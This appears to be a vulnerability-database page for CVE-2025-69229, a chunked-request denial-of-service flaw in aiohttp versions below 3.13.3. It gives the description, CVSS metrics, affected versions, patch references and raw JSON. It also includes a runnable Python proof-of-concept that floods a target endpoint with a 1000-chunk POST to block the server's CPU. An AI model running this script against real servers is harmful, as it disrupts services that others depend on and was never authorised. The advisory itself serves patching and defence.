Security Vulnerability Report
中文
CVE-2025-69229 CVSS 5.3 MEDIUM

CVE-2025-69229

Published: 2026-01-06 00:15:48
Last Modified: 2026-02-13 18:55:04

Description

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. In versions 3.13.2 and below, handling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks. If an application makes use of the request.read() method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time. This issue is fixed in version 3.13.3.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:* - VULNERABLE
aiohttp < 3.13.3
aiohttp 3.13.2
aiohttp 3.13.1
aiohttp 3.13.0
aiohttp <= 3.12.x (所有低于3.13.3的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
""" CVE-2025-69229 AIOHTTP Chunked DoS PoC This PoC demonstrates the chunked message handling DoS vulnerability in aiohttp <= 3.13.2 """ import asyncio import aiohttp async def send_chunked_request(target_url: str, num_chunks: int = 1000): """ Send a chunked request to trigger CPU blocking in aiohttp server Args: target_url: Target server URL num_chunks: Number of chunks to send (more chunks = more CPU usage) """ # Construct chunked request body chunk_data = b'X' * 100 # 100 bytes per chunk chunks = [] for i in range(num_chunks): # Each chunk: length in hex + CRLF + data + CRLF chunk_size = format(len(chunk_data), 'x') chunks.append(f"{chunk_size}\r\n".encode()) chunks.append(chunk_data) chunks.append(b'\r\n') # Final zero-length chunk to signal end chunks.append(b'0\r\n\r\n') body = b''.join(chunks) headers = { 'Content-Type': 'application/octet-stream', 'Transfer-Encoding': 'chunked' } async with aiohttp.ClientSession() as session: async with session.post(target_url, data=body, headers=headers) as resp: print(f"Response status: {resp.status}") return await resp.text() async def main(): target = "http://localhost:8080/endpoint" # Send request with 1000 chunks to trigger ~1 second CPU blocking await send_chunked_request(target, num_chunks=1000) if __name__ == "__main__": asyncio.run(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69229", "sourceIdentifier": "[email protected]", "published": "2026-01-06T00:15:48.347", "lastModified": "2026-02-13T18:55:03.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. In versions 3.13.2 and below, handling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks. If an application makes use of the request.read() method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time. This issue is fixed in version 3.13.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.3", "matchCriteriaId": "715B630E-B141-4247-A920-3FFBD8045A05"}]}]}], "references": [{"url": "https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f613469700229", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g84x-mcqj-x9qq", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}